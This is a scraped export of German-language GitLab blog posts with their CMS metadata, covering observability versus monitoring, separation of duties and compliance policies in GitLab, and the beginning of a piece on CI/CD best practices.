sinnvoll zusammengefasst oder analysiert wurden. Oder es wurden in der Vergangenheit Monitoring-Infrastrukturen geschaffen, die dann aber über ein Jahrzehnt lang verkümmerten, bis sie nicht mehr dem aktuellen Stand entsprachen.\n\nSeitdem hat sich die operative Landschaft verändert. Observability ist das Stichwort der Stunde. Für die Einschätzung der Application-Performance bietet Observability gegenüber Monitoring den großen Vorzug, dass Entwickler(innen) nun nicht mehr auf ihre eigenen Interpretationen oder statische Messungen angewiesen sind. Stattdessen ermöglicht das Konzept der Observability es, sich ein ganzheitliches Bild darüber zu machen, wie sich die Applikation verhält und vor allem, wie sich ihre Leistung für Anwender(innen) darstellt.\n\n## Was ist Observability?\n\nUm die Bedeutung von Observability zu verstehen, hilft es, sich zunächst einen Überblick darüber zu verschaffen, was Monitoring ist, was es leisten kann und worin seine Beschränkungen liegen.\n\nAuf der grundlegendsten Ebene werden beim Monitoring verschiedene Werte und Outputs eines gegebenen Systems oder Software-Stacks gemessen. Dazu gehören beispielsweise die CPU-Auslastung, RAM-Nutzung sowie die Reaktionszeit (Latenz). In dieser Hinsicht ähnelt das Monitoring klassischen Logging-Systemen, die statische Informationen über Ereignisse aus dem aktiven Betrieb des Systems liefern.\n\nDie Messungen des Monitorings bieten in einem eingegrenzten Rahmen Hinweise auf systematische Probleme. Traditionelle DevOps-Monitoring-Tools erlauben es, die Daten zu aggregieren und miteinander zu korrelieren. Um aber holistische Aussagen treffen zu können, müssen diese Tools darüber hinaus üblicherweise noch manuell konfiguriert und angepasst werden. Statische Werte wie die CPU-Auslastung sind deswegen lediglich ein erster Schritt.\n\nIn seinem inzwischen berühmten SRE-Buch hat Google vier Kennzahlen - die sogenannten goldenen Signale - hervorgehoben, welche die Aussagekraft des Monitorings erhöhen sollen:\n\n- Latenz: Misst die Zeit, die benötigt wird, um eine Anfrage durchzuführen\n- Traffic: Misst die systemspezifische Nachfrage nach Leistungen auf höchster Ebene\n- Fehlerwahrscheinlichkeit: Misst die Rate, mit der Anfragen scheitern\n- Saturierung: Misst die Auslastung des Systems als das Verhältnis der Ressourcennutzung zu den verfügbaren Ressourcen insgesamt; üblicherweise liegt die Betonung hierbei auf knappen Ressourcen\n\nTatsächlich bieten diese goldenen Signale eine weitaus bessere Einschätzung der Systemleistung als die Kennziffern des konventionellen DevOps-Monitorings. Trotzdem muss um sie herum noch immer ein Monitoring-System entworfen, gebaut und in die bestehenden Abläufe integriert werden. Dies erfordert einen nicht zu unterschätzenden Aufwand. So müssen sämtliche potentiellen Fehler genau spezifiziert und händisch definiert und korrekt korreliert werden. Sogar in verhältnismäßig einfachen Fällen kann sich dies als sehr zeitintensiv erweisen.\n\n## Was also ist Observability?\n\nIm direkten Vergleich Observability vs. Monitoring ist Observability intuitiver und vollständiger. Das manuelle Harmonisieren unterschiedlicher DevOps-Monitoring-Tools entfällt. Während ein aggregiertes Monitoring-Dashboard nur so gut ist wie die letzten Entwickler(innen), die daran gearbeitet hat, passt sich eine Observability-Plattform eigenständig an. So liefert Observability automatisch kritische Informationen im passenden Kontext. Dies kann sogar auf den Software-Entwicklungszyklus ausgedehnt werden (Software Development Life Cycle, SDLC). Dabei liefern die Observability-Tools, im Gegensatz zum DevOps-Monitorings, während der CI/CD-Runs wichtige Informationen, die Entwickler(innen) operative Rückmeldungen zu ihrem Code bieten.\n\nLetzten Endes trägtObservability schlicht zu einer ganzheitlicheren Fehlerbeseitigung und einem holistischen Verständnis bei. Die Daten, die es produziert, lassen die „unbekannten Unbekannten” deutlicher hervortreten. So werden Produktionsprobleme erklärbarer. Im nächsten Abschnitt wollen wir verdeutlichen, warum genau dies so wertvoll ist. Anhand eines Beispiels werden wir dir zeigen, warum Monitoring alleine oftmals nicht ausreicht - und welche Lücken durch Observability geschlossen werden.\n\n## Warum sich Observability auszahlt\n\nEine Priorisierung von Observability kann dazu beitragen, die Zeit zu reduzieren, die zur Lösung eines Problems benötigt wird (mean time to resolution, MTTR). Dadurch können Ausfälle zeitlich eingeschränkt werden, die Application-Performance verbessert sich und das Kundenerlebnis fällt positiver aus. Man könnte meinen, Monitoring biete sehr ähnliche Vorzüge. Die folgende Anekdote soll veranschaulichen, dass dies jedoch nicht immer der Fall ist.\n\nDie Buchhaltung einer Engineering-Organisation gibt eine Warnung aus: Die Rechnungen für Cloud-Services steigen und sogar die Finanzleiterin hat ihre Sorge ausgedrückt. Entwickler(innen) haben bereits ebenso intensiv wie erfolglos das DevOps-Monitoring-System zu Rate gezogen: Alle Monitoring-Werte sind durchgehend im grünen Bereich, darunter der Speicher, die CPU-Auslastung sowie disk I/O. Wie sich herausstellt, lag die Ursache in einer anderen „unbekannten Unbekannten”: Eine erhöhte DNS-Latenz in den CI/CD-Pipelines führte zu einer erhöhten Ausfallrate in den Builds. Weil für jeden Build nun mehr Versuche benötigt wurden, kam es unweigerlich zu einer höheren Beanspruchung der Cloud-Ressourcen. Allerdings war jeder einzelne Versuch für sich verhältnismäßig kurz und fiel im Monitoring-System nicht auf. Durch die Einführung von DevOps-Observability-Tools konnte Ops eine weitaus breitere Palette an Ereignissen sammeln, das Problem damit einkreisen und es schließlich beheben. Dies wäre in einem traditionellen Monitoring-System nicht möglich gewesen. Hier hätte die Organisation selbst auf das DNS-Latenz-Problem schließen müssen.\n\nAuch für nichttechnische Stakeholder(innen) und Geschäftseinheiten erweist sich Observability als wichtig. Da Technologie zunehmend zu einem Profitfaktor wird, tragen die wirtschaftlichen Kennzahlen der Softwarestruktur unmittelbar zum gesamten Unternehmenserfolg bei. Observability bietet einen klaren Blick auf diese Kennzahlen und kann von verschiedenen Teams individuell genutzt werden.\n\nOhne eine positive Nutzererfahrung (User Experience, UX) sind moderne Software und Applikationen nicht möglich. Wie das Beispiel illustriert, reichen die statischen Kennziffern des Monitorings nicht aus. Unter einer scheinbar unauffälligen Oberfläche können sich schwerwiegende Probleme verbergen.\n\n## Zentrale Observability-Kennzahlen\n\nFür Organisationen, die sich dafür entschieden haben, DevOps-Observability-Tools zu verwenden, besteht der erste Schritt darin, die wichtigsten Ziele zu identifizieren und die besten Umsetzungsoptionen festzulegen.\n\nWir empfehlen, mit den drei grundlegenden Säulen der Observability anzufangen:\n\n- Logs: Informationen und Ereignisse\n- Kennziffern (metrics): Messungen spezifischer Kennziffern und Performance-Daten\n- Tracing: Die lückenlose Dokumentation einer Anfrage und ihrer Performance\n\nWer sein Observability-System auf diesen drei Säulen aufbaut, muss mit einem hohen Aufwand rechnen.  Projekte wie OpenTelemetry tragen aber erheblich zur Realisierbarkeit bei. Sie begünstigen die Akzeptanz industrieweiter Standards für Logging, Kennzahlen und Tracing und schaffen die Bedingungen für ein in sich stimmiges Ökosystem. Das verkürzt für alle Unternehmen, die DevOps-Observability-Tools umzusetzen gedenken, die auf OpenTelemetry-Standards basieren, die Zeit von der Einführung bis zur Profitabilität.\n\nAuch bei GitLab ist Observability ein zentraler Aspekt unseres Produkts, damit du Fehler und Engpässe so früh wie möglich erkennst und im laufenden Betrieb Anpassungen vornehmen kannst. Wenn du näher interessiert bist, besteht die Möglichkeit, die neue GitLab-Observability-Suite zu testen. Melde dich dazu als [Beta-Tester(in)](https://docs.gitlab.com/operations/observability/ \"GitLab Observability\") an.\n\nAls weitere Observability-Daten und -Säulen sind darüber hinaus zu nennen:\n\n- Das Tracking von Fehlern: Feinmaschigere (granulare) Logs mit Aggregation\n- Kontinuierliches Profiling: Auswertung der granularen Code-Performance\n- Real User Monitoring: Beurteilung der Application-Performance anhand echter Nutzer(innen)\n\nWenn wir uns diese Säulen ansehen, wird ein gemeinsames Prinzip erkennbar. Es reicht nicht mehr aus, sich bei der Analyse moderner, distribuierter Systeme auf einen sehr kurzen Zeitraum zu beschränken. Vielmehr ist eine holistische Betrachtung aus der Vogelperspektive erforderlich. Ein tiefes Verständnis der Application-Performance mittels Observability statt Monitoring beginnt damit, Ereignisse aus der erlebten Perspektive der Kundinnen und Kunden zu betrachten und anschließend die vollständige Performance und die Interaktion mit ihrer Software zu überwachen. Darin liegt der Hauptgrund, warum Observability im direkten Vergleich mit dem Monitoring die Oberhand behält.\n\nObservability erlaubt es einer Engineering-Organisation, über das konventionelle Monitoring hinaus die betriebliche Exzellenz zu verbessern. Letzten Endes ergeben sich die wertvollsten Warnsysteme und Problembehebungs-Programme aus schmerzhaft erlittenen Ausfällen. Hier bietet das sogenannte Chaos-Engineering eine Möglichkeit, Beobachtbarkeirs-Plattformen zu Testzwecken zu nutzen. Dabei werden die Konsequenzen echter Ausfälle in einer kontrollierten Umgebung und mit bekannten Ergebnissen geprüft. Wenn du vermutest, dass dein System „unbekannte Unbekannte” enthalten könnte, bietet Chaos-Engineering für deine [CI/CD-Pipelines](https://about.gitlab.com/de-de/topics/ci-cd/ \"CI/CD pipelines\"), Supply-Chain und DNS signifikante Zugewinne, was die operative Basis anbelangt.\n\n## Observability ist ein zentraler Teil von DevOps\n\nObservability ist nicht  nur für DevOps von zentraler Bedeutung, sondern für die gesamte Organisation. Indem du die statischen Daten überholter Monitoring-Lösungen ersetzt, erreichst du durch die Einführung von Observability einen 360-Grad-Blick auf deine Applikations-Infrastruktur.\n\nDevOps-Teams sollten eng mit Stakeholdern zusammenarbeiten, um ihre Observability-Kennziffern so miteinander zu teilen, dass sie der Organisation als Ganzes dienen und gemeinsam an ihrer Umsetzung arbeiten. Es kann für eine höhere Effektivität von Vorteil sein, sich die Vorteile der Apps-Instrumentierung zu verdeutlichen und diese Vorteile anschließend dem Entwicklungs-Team nahezulegen. DevOps-Teams können dazu beitragen, die Grundursachen von Produktionsproblemen schneller zu erkennen: gut eingesetzter Applikations-Code macht es zudem einfacher, diese von Ursachen zu unterscheiden, die auf der Infrastruktur beruhen. Je früher Observability in der CI/CD-Pipeline zur Anwendung kommt, umso größer ist die Wahrscheinlichkeit, dass SLO-Deltas erkannt werden, bevor das Produkt veröffentlicht wird.\n\nDevOps-Teams, die sowohl die Applikations-Performance als auch Geschäftswerte signifikant verbessern möchten, erhalten durch Observability die Möglichkeit, beide Aspekte gleichzeitig zu optimieren.\n",[2033,765,850],{"slug":3626,"featured":6,"template":682},"observability-vs-monitoring-in-devops","content:de-de:blog:observability-vs-monitoring-in-devops.yml","Observability Vs Monitoring In Devops","de-de/blog/observability-vs-monitoring-in-devops.yml","de-de/blog/observability-vs-monitoring-in-devops",{"_path":3632,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3633,"content":3639,"config":3646,"_id":3648,"_type":16,"title":3649,"_source":17,"_file":3650,"_stem":3651,"_extension":20},"/de-de/blog/ensuring-compliance",{"title":3634,"description":3635,"ogTitle":3634,"ogDescription":3635,"noIndex":6,"ogImage":3636,"ogUrl":3637,"ogSiteName":1396,"ogType":1440,"canonicalUrls":3637,"schema":3638},"Mit GitLab Aufgabentrennung und Compliance sicherstellen","Nutze deine DevSecOps-Plattform, um die Compliance aufrechtzuerhalten, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098232/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098232241.jpg","https://about.gitlab.com/blog/ensuring-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Artikel\",\n        \"headline\": \"Mit GitLab Aufgabentrennung und Compliance sicherstellen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Beatriz Barbosa\"},{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-04-04\",\n      }",{"title":3634,"description":3635,"authors":3640,"heroImage":3636,"date":3642,"body":3643,"category":765,"tags":3644,"updatedDate":3645},[3641,762],"Beatriz Barbosa","2022-04-04","In diesem Artikel erfährst du, wie du mit der DevSecOps-Plattform von GitLab die **Aufgabentrennung** und\n\ndie **kontinuierliche Compliance** sicherstellen kannst. Zunächst möchten wir jedoch zwei Schlüsselkonzepte klären:\n\n\n**Compliance** bedeutet, dass du die Richtlinien und Spezifikationen einhältst,\n\ndie entweder von deinem Unternehmen oder von einer Aufsichtsbehörde festgelegt wurden. Compliance trägt dazu bei, die\n\nUnternehmensethik, angemessene Benutzerrichtlinien, Sicherheitsstandards und vieles mehr für\n\ndie Sicherheit der Verbraucher(innen) aufrechtzuerhalten.\n\n\nDie Nichteinhaltung kann zu einer Reihe von Gerichts- und Anwaltskosten sowie Geldstrafen führen, daher ist es sehr wichtig, die Compliance aufrechtzuerhalten. DevSecOps-Teams müssen nicht nur die Compliance gewährleisten, sondern auch eine nachhaltige Entwicklungsgeschwindigkeit sicherstellen und die notwendige Einfachheit, Transparenz und Kontrolle bieten.\n\n\nDie **Aufgabentrennung** erfordert, dass mehrere Personen eine Aufgabe ausführen, um den Schutz vor Fehlern zu erhöhen und böswillige Aktivitäten zu verhindern. Die Aufgabentrennung stellt sicher, dass nur die Rollen, die für die Aufgabe am besten geeignet sind, diese auch ausführen können. Als Beispiel werden einige der folgenden\n\nAkteure und Akteurinnen betrachtet, die jeweils einen bestimmten Zweck erfüllen:\n\n\n- Ein(e) Entwickler(in) ist für die Entwicklung neuer Funktionen verantwortlich.\n\n-Ein(e) Beauftragte(r) für Compliance ist für die Erstellung und Durchsetzung der Nutzung einer Pipeline zuständig.\n\n- Ein(e) Anwendungssicherheitsingenieur(in) ist für die Genehmigung von Merge Requests mit Sicherheitslücken verantwortlich.\n\n\nUnter Berücksichtigung der oben genannten Rollen können wir sicherstellen, dass ein(e) Entwickler(in) eine laufende Pipeline nicht ändern kann.\n\nDiese Aufgabe kann nur von Beauftragten für Compliance durchgeführt werden, um sicherzustellen, dass nur konformer Code ohne Genehmigung gepusht werden kann.\n\n\nEin(e) Anwendungssicherheitsingenieur(in) ist dafür zuständig, Code mit Sicherheitslücken zu überprüfen und zu genehmigen, um sicherzustellen, dass eine ordnungsgemäße Risikominderung durchgeführt werden kann und in Zukunft keine Überraschungen mehr auftreten. In diesem Szenario können Entwickler(innen) Code erst dann zusammenführen, wenn die Compliance-\n\nund Sicherheitsanforderungen erfüllt sind.\n\n\n## Sicherheitsrichtlinien\n\nGitLab bietet **Sicherheitsrichtlinien**, die es Sicherheitsteams ermöglichen, die Ausführung von Sicherheitsscans gemäß einer Konfiguration zu fordern. So können Sicherheitsteams darauf vertrauen, dass die konfigurierten Scans nicht geändert oder deaktiviert wurden.\n\n\nSicherheitsrichtlinien können so festgelegt werden, dass sie bestimmte **Compliance Frameworks** erfüllen. Dies bedeutet, dass dein Projekt bestimmte Compliance-Anforderungen hat und zusätzliche Überwachung benötigt. Dieses Label kann unter **Sichern > Compliance Center > Frameworks** in deiner Hauptgruppe erstellt werden.\n\n\n![Compliance-Framework-Label (nur in englischer Sprache verfügbar)](https://about.gitlab.com/images/blogimages/compliance-04-2022/cf-step-2.png)\n\n\n**Hinweis:** Compliance-Label können nur Projekten innerhalb der Hauptgruppe zugewiesen werden, in der das Label erstellt wird.\n\n\nEs gibt drei Arten von Richtlinien (nur in englischer Sprache verfügbar): [Scan-Ausführungsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html), [Merge-Request-Approvalrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/merge_request_approval_policies.html) und [Pipeline-Ausführungsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html).\n\n\n* **Scan-Ausführungsrichtlinien:** Hier kannst du festlegen, dass Sicherheitsscans nach einem bestimmten Zeitplan oder zusammen mit der Projektpipeline ausgeführt werden.\n\n* **Merge-Request-Approvalrichtlinien:** Ergreife Maßnahmen auf der Grundlage von Scan-Ergebnissen, z. B. die Genehmigung durch das Sicherheitsteam, bevor ein Merge durchgeführt werden kann.\n\n* **Pipeline-Ausführungsrichtlinien:** Erzwinge CI/CD-Jobs für entsprechende Projekte.\n\n\nDiese Richtlinien können über den Richtlinien-Editor in wenigen einfachen Schritten konfiguriert werden.\n\n\n### Scan-Ausführung\n\n\n1. Gehe zu **Sicherheit & Compliance > Richtlinien**.\n\n\n2. Erstelle eine neue Richtlinie, indem du auf die Schaltfläche **Neue Richtlinie** klickst.\n\n\n3. Wähle **Scan-Ausführung** aus.\n\n\n4. Erstelle die Regel. Ich erstelle eine Regel, die erfordert, dass [SAST (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/sast/) konfiguriert ist, damit eine Pipeline ausgeführt werden kann.\n\n\n```yaml\n\nname: force_sast\n\ndescription: 'require sast to run'\n\nenabled: true\n\nrules:\n\n- type: pipeline branches: - main actions:\n\n- scan: sast\n\n```\n\n\n5. Reiche die Richtlinie ein, indem du einen Merge Request erstellst und dann den Merge ausführst.\n\n\nAlle Änderungen der Scan-Ausführungsrichtlinie werden über einen Hintergrundjob angewendet, der alle 10 Minuten ausgeführt wird.\n\nWarte bis zu 10 Minuten, bis alle für dieses Projekt festgelegten Richtlinienänderungen wirksam werden.\n\n\n6. Versuche, eine Pipeline auszuführen. Sie wird nur ausgeführt, wenn SAST in der YAML definiert ist.\n\n\n**Hinweis**: Du kannst SAST auch so einstellen, dass es nach einem Timer ausgeführt wird. Weitere Informationen findest du in der [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) zu den\n\nScan-Ausführungsrichtlinien.\n\n\n### Merge-Request-Approval\n\n\n1. Gehe zu **Sichern > Richtlinien**.\n\n\n2. Erstelle eine neue Richtlinie, indem du auf die Schaltfläche **Neue Richtlinie** klickst.\n\n\n3. Wähle **Merge-Request-Approvalrichtlinien** aus.\n\n\n4. Definiere den Geltungsbereich der Richtlinie.\n\n\n5. Erstelle die Regel.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 1 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098241214.png)\n\n\n6. Füge die auszuführende Aktion hinzu.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 2 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098241215.png)\n\n\n**Hinweis:** Die Richtlinie wird gemäß den von dir festgelegten Regeln ausgewertet. Das bedeutet, dass eine Genehmigung erforderlich ist, wenn die Regeln ungültig sind oder nicht ausgewertet werden können. Um dies zu verhindern, kann das Feld für das Standard-Fallback-Verhalten auf `offen` geändert werden.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 3 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098241217.png)\n\n\n1. Reiche die Richtlinie ein, indem du einen Merge Request erstellst und dann den Merge ausführst.\n\n\n2. Erstelle einen separaten Merge Request mit Sicherheitslücken.\n\n\nWie du Sicherheitslücken hinzufügen kannst, erfährst du im Abschnitt „Entwickler-Workflow“ des DevSecOps-Workshops von GitLab.\n\n\n3. Überprüfe, ob die Merge-Request-Approvalrichtlinien angewendet werden, indem du den Merge Request anzeigst.\n\n\n### Pipeline-Ausführungsrichtlinie\n\n\nUm eine Pipeline-Ausführungsrichtlinie einzurichten, musst du zunächst ein Projekt erstellen, das die CI-Dateien enthält, die du ausführen möchtest. Stelle sicher, dass nur das Sicherheitsteam und/oder der bzw. die Administrator(in) Zugriff haben, um die Aufgabentrennung zu gewährleisten. Ich habe das Projekt „Compliance und Bereitstellung“ erstellt, das die YAML enthält, die ich durchsetzen möchte.\n\n\n1. Gehe zu **Sichern > Richtlinien**.\n\n\n2. Erstelle eine neue Richtlinie, indem du auf die Schaltfläche **Neue Richtlinie** klickst.\n\n\n3. Wähle **Pipeline-Ausführungsrichtlinie** aus.\n\n\n4. Definiere den Geltungsbereich der Richtlinie.\n\n\n5. Füge die auszuführende Aktion hinzu.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 4 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098241219.png)\n\n\n6. Füge Bedingungen hinzu.\n\n\n7. Reiche die Richtlinie ein, indem du einen Merge Request erstellst und dann den Merge ausführst.\n\n\n8. Versuche, eine Pipeline auszuführen. Du siehst die richtlinienspezifischen Jobs und Phasen in deiner Pipeline.\n\n\n## Auditmanagement und Compliance-Dashboard\n\n\nEin weiterer wichtiger Teil der Compliance ist das Wissen, dass sie in deinen Gruppen/Projekten tatsächlich stattfindet. GitLab verfügt über Audit-Ereignisse und Konformitätsberichte, die dich bei Audits unterstützen.\n\n\nMit **Audit Events** können GitLab-Eigentümer(innen) und -Administrator(innen) wichtige Ereignisse nachverfolgen, wie z. B. wer bestimmte Aktionen durchgeführt hat und wann sie stattgefunden haben.\n\n\n![Audit Events (nur in englischer Sprache verfügbar)](https://about.gitlab.com/images/blogimages/compliance-04-2022/project-audit-events.png)\n\n\nAudit Events zeichnen verschiedene Ereignisse pro Gruppe und pro Projekt auf, die\n\nin der Dokumentation zu [Audit Events (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/administration/audit_events.html) eingesehen werden können.\n\nDu kannst über **Sicherheit & Compliance > Audit Events** auf Audit Events zugreifen.\n\nEinige Beispiele sind:\n\n\n- Benutzer(in) wurde mit seinen oder ihren Berechtigungen dem Projekt hinzugefügt\n\n- Änderung der Berechtigungen einer Benutzerin bzw. eines Benutzers, der/die einem Projekt zugewiesen ist\n\n- Projekt-CI/CD-Variable wurde hinzugefügt, entfernt oder ihr geschützter Status geändert\n\n- Benutzer(in) wurde mit seinen oder ihren Berechtigungen der Gruppe hinzugefügt\n\n- Gruppenname oder -pfad wurde geändert\n\n\nAudit Events können auch mittels Audit-Event-Streaming an einen HTTP-Endpunkt gesendet werden. In diesem [Video (nur in englischer Sprache verfügbar](https://youtu.be/zHwVF9-i7e4?t=52) erfährst du, wie\n\ndu das Streaming von Audit Events implementierst.\n\n\nDie **Einhaltung von Standards** gibt dir die Möglichkeit, die Merge-Request-Aktivität einer Gruppe anzuzeigen. Sie bietet eine allgemeine Ansicht für alle Projekte in der Gruppe.\n\n\n![Aktualisierung der Aufgabentrennung – Bild 5 (nur in englischer Sprache verfügbar)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098241222.png)\n\n\nDu kannst den Bericht verwenden, um:\n\n- einen Überblick über die neuesten Merge Requests für jedes Projekt zu erhalten\n\n- zu sehen, ob und von wem Merge Requests genehmigt wurden\n\n- die Autor(inn)en von Merge Requests zu sehen\n\n- das neueste CI/CD-Pipeline-Ergebnis für jeden Merge Request zu sehen\n\n\nDer Bericht zur Einhaltung von Standards kann in der Hauptgruppe aufgerufen werden, indem du zu **Sichern > Compliance Center** gehst und die Registerkarte **Einhaltung von Standards** auswählst.\n\n\n---\n\n\nVielen Dank für deine Aufmerksamkeit! Weitere Informationen zur Aufgabentrennung in GitLab findest du unter [Kontinuierliche Software-Konformität mit GitLab](/solutions/compliance/)\n",[765,1534,1535,745],"2024-12-16",{"slug":3647,"featured":6,"template":682},"ensuring-compliance","content:de-de:blog:ensuring-compliance.yml","Ensuring Compliance","de-de/blog/ensuring-compliance.yml","de-de/blog/ensuring-compliance",{"_path":3653,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3654,"content":3660,"config":3666,"_id":3668,"_type":16,"title":3669,"_source":17,"_file":3670,"_stem":3671,"_extension":20},"/de-de/blog/how-to-keep-up-with-ci-cd-best-practices",{"title":3655,"description":3656,"ogTitle":3655,"ogDescription":3656,"noIndex":6,"ogImage":3657,"ogUrl":3658,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3658,"schema":3659},"CI/CD Best Practices für mehr Effizienz","Erfahre, was Continuous Integration/Continuous Delivery (CI/CD) bedeutet, wie du CI/CD Best Practices implementierst und warum sie wichtig sind.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661856/Blog/Hero%20Images/ci-cd-demo.jpg","https://about.gitlab.com/blog/how-to-keep-up-with-ci-cd-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CI/CD Best Practices für mehr Effizienz\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-02-03\",\n      }",{"title":3655,"description":3656,"authors":3661,"heroImage":3657,"date":3663,"body":3664,"category":2558,"tags":3665,"updatedDate":1734},[3662],"Valerie Silverthorne","2022-02-03","Continuous Integration und Continuous Delivery [(CI/CD)](/de-de/topics/ci-cd/) stehen im Mittelpunkt jeder erfolgreichen DevOps-Praxis. Teams, die ihre Softwareentwicklung modern gestalten wollen, müssen mit den GitLab CI/CD Best Practices Schritt halten. \n\nIn diesem Artikel, erfährst du, was Continuous Integration/Continuous Delivery (CI/CD) bedeutet, wie du einige Best Practices implementierst und warum sie wichtig sind.\n\n## Was bedeutet CI/CD?\nCI/CD umfasst verschiedene Aspekte: Es ist ein technischer Prozess, eine Denkweise und eine Abfolge von Schritten. Im Kern steht die Automatisierung, die DevOps-Teams ermöglicht, die Code-Entwicklung zu optimieren.\n\nContinuous Integration (CI) erleichtert den Software-Build und die Integration des Quellcodes, verbessert die Versionskontrolle und fördert durch Automatisierung eine intensivere Zusammenarbeit. Nach der Integration folgt Continuous Delivery (CD), das automatisierte Tests und Deployments umfasst. CD verringert den manuellen Aufwand für Bereitstellung und Deployment erheblich und hilft Teams, die Verwaltungstools für den Lebenszyklus der Software deutlich zu reduzieren.\n\n### CI/CD- vs. CI/CD-Pipeline: Erklärung\nCI/CD (Continuous Integration/Continuous Delivery bzw. Continuous Deployment) und CI/CD-Pipeline sind eng miteinander verbundene Begriffe, die jedoch unterschiedliche Bedeutungen haben. \n\n**CI/CD steht für Continuous Integration und Continuous Delivery oder Continuous Deployment.** Es ist ein methodischer Ansatz in der Softwareentwicklung, der darauf abzielt, die Integration, das Testen und die Bereitstellung von Codeänderungen zu automatisieren. \n\n**Eine CI/CD-Pipeline ist die konkrete Umsetzung des CI/CD-Prinzips.** Sie besteht aus einer Reihe von automatisierten Schritten, die den gesamten Prozess der Softwareentwicklung und -bereitstellung abbilden. Eine typische CI/CD-Pipeline umfasst Stufen wie Code-Commit, Build, Test, Bereitstellung und Monitoring. Jede dieser Stufen ist so konzipiert, dass sie den Übergang von einer Entwicklungsphase zur nächsten automatisiert und beschleunigt. Eine CI/CD-Pipeline nutzt verschiedene Automatisierungswerkzeuge, um sicherzustellen, dass Codeänderungen nahtlos und effizient durch die einzelnen Phasen des Entwicklungszyklus fließen.\n\n## Best Practices: CI/CD-Pipeline\nUm mit CI/CD erfolgreich zu sein, sollte [kontinuierliche Integration](/de-de/solutions/continuous-integration/), Lieferung und Bereitstellung fest in deiner Arbeitsweise verankert sein, da sie die Basis moderner Softwareentwicklung bilden. DevOps zielt darauf ab, Software schneller als herkömmliche Methoden zu den Nutzer(innen) zu bringen. \n\nFragt man 10 Teams nach den DevOps CI/CD Best Practices, erhält man wahrscheinlich 10 verschiedene Antworten.\n\n**Dennoch gibt es einige allgemein anerkannte Tipps für DevOps CI/CD Best Practices:**\n\n**Einmaliger Build:** Vermeide es, für jede Stufe einen neuen Build zu erstellen, da dies zu Unregelmäßigkeiten führen kann. Nutze stattdessen dieselben Build-Artefakte in jeder Stufe der CI/CD-Pipeline. Das setzt einen Build voraus, der unabhängig von der Umgebung ist.\n\n**Tests optimieren:** Finde ein gutes Gleichgewicht zwischen Testabdeckung und Performance. Dauern die Tests zu lange, versuchen die Nutzer(innen) möglicherweise, den Prozess zu umgehen.\n\n**Fail Fast:** Auf der CI-Seite müssen die Entwickler, die den Code übertragen, so schnell wie möglich wissen, ob es Probleme gibt, damit sie den Code neu aufsetzen und beheben können, bevor er in Vergessenheit gerät. Die Idee des „Fail Fast“ hilft auch, den Kontextwechsel der Entwickler zu reduzieren. Das macht die DevOps-Profis zufriedener.\n\n**Regelmäßige Code-Commits:** Je regelmäßiger der Code übertragen wird, desto größer ist der Nutzen für die DevOps-Teams.\n\n**Schnelle Fehlerbehebung:** CI/CD ermöglicht es, fehlerhafte Builds schnell zu reparieren.\n\n**Bereinigte Pre-Production-Umgebungen:** Je länger Umgebungen in Gebrauch sind, desto schwieriger wird es, alle Konfigurationsänderungen und Aktualisierungen nachzuvollziehen, die vorgenommen wurden. Daher ist es ratsam, die Vorproduktionsumgebungen zwischen den einzelnen Einsätzen zu bereinigen.\n\n**Ständige Automatisierung:** Optimiere die CI/CD-Pipeline kontinuierlich, um einen Zustand der „kontinuierlichen Automatisierung“ zu erreichen.\n\n**Klare Prozesse:** Stelle sicher, dass die Release- und Rollback-Pläne gut dokumentiert sind und vom gesamten Team verstanden werden.\n\n**Frühzeitige Sicherheit:** CCI/CD ist eine Verschiebung des Schwerpunkts und bietet daher eine gute Gelegenheit, die Sicherheit früher in den Prozess zu integrieren. Somit gibt es auch CI/CD Pipeline Security Best Practices, die du beachten solltest.\n\n**Feedback-Schleifen einrichten:** Sorge dafür, dass das gesamte Team leicht Feedback erhalten und geben kann.\n\n## Best Practices für Continuous Delivery\nBest Practices für Continuous Delivery und Deployment sollten genauer betrachtet werden, da Continuous Integration oft mehr Aufmerksamkeit erhält. \n\n**Hier ist eine Übersicht der bewährten Praktiken für CD:**\n\n**Starte mit dem Vorhandenen:** Warte nicht auf eine neue Plattform. Es ist immer möglich, bestehende Systeme zu optimieren, um schneller und effizienter zu arbeiten.\n\n**Setze auf Einfachheit:** Die effektivste CD wird mit einem Minimum an 